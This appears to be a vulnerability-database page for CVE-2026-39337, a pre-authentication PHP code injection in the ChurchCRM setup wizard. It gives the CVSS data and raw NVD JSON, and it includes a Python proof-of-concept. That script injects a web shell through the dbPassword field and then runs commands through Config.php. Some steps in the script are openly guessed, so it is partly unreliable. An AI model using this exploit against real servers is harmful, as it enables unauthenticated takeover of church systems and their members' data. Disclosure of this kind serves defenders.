Security Vulnerability Report
中文
CVE-2026-39337 CVSS 10.0 CRITICAL

CVE-2026-39337

Published: 2026-04-07 18:16:46
Last Modified: 2026-04-10 20:57:31

Description

ChurchCRM is an open-source church management system. Prior to 7.1.0, critical pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard allows unauthenticated attackers to inject arbitrary PHP code during the initial installation process, leading to complete server compromise. The "$dbPassword" variable is not sanitized. This vulnerability exists due to an incomplete fix for CVE-2025-62521. This vulnerability is fixed in 7.1.0.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE
ChurchCRM < 7.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the ChurchCRM setup wizard target_url = "http://target-ip/churchcrm/setup.php" # Malicious PHP payload to inject into dbPassword # This payload executes system commands passed via the 'cmd' GET parameter php_payload = "<?php system($_GET['cmd']); ?>" # Prepare the data payload for the setup wizard request # The vulnerability lies in the 'dbPassword' field not being sanitized payload_data = { "dbHost": "localhost", "dbUser": "root", "dbPassword": php_payload, # Injection point "dbName": "churchcrm", "step": "3" # Assuming step 3 processes the database config } try: print("[*] Sending payload to setup wizard...") response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully!") print("[+] The PHP code may have been written to the configuration file.") print("[+] Attempting to trigger the payload...") # Example trigger URL (depends on where the config is included) trigger_url = "http://target-ip/churchcrm/include/Config.php?cmd=whoami" trigger_resp = requests.get(trigger_url) print(trigger_resp.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39337", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:45.630", "lastModified": "2026-04-10T20:57:31.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 7.1.0, critical pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard allows unauthenticated attackers to inject arbitrary PHP code during the initial installation process, leading to complete server compromise. The \"$dbPassword\" variable is not sanitized. This vulnerability exists due to an incomplete fix for CVE-2025-62521. This vulnerability is fixed in 7.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.0", "matchCriteriaId": "BF846F61-0C1E-49AB-B691-A01937A6C24D"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pm2v-ggh4-mp7p", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}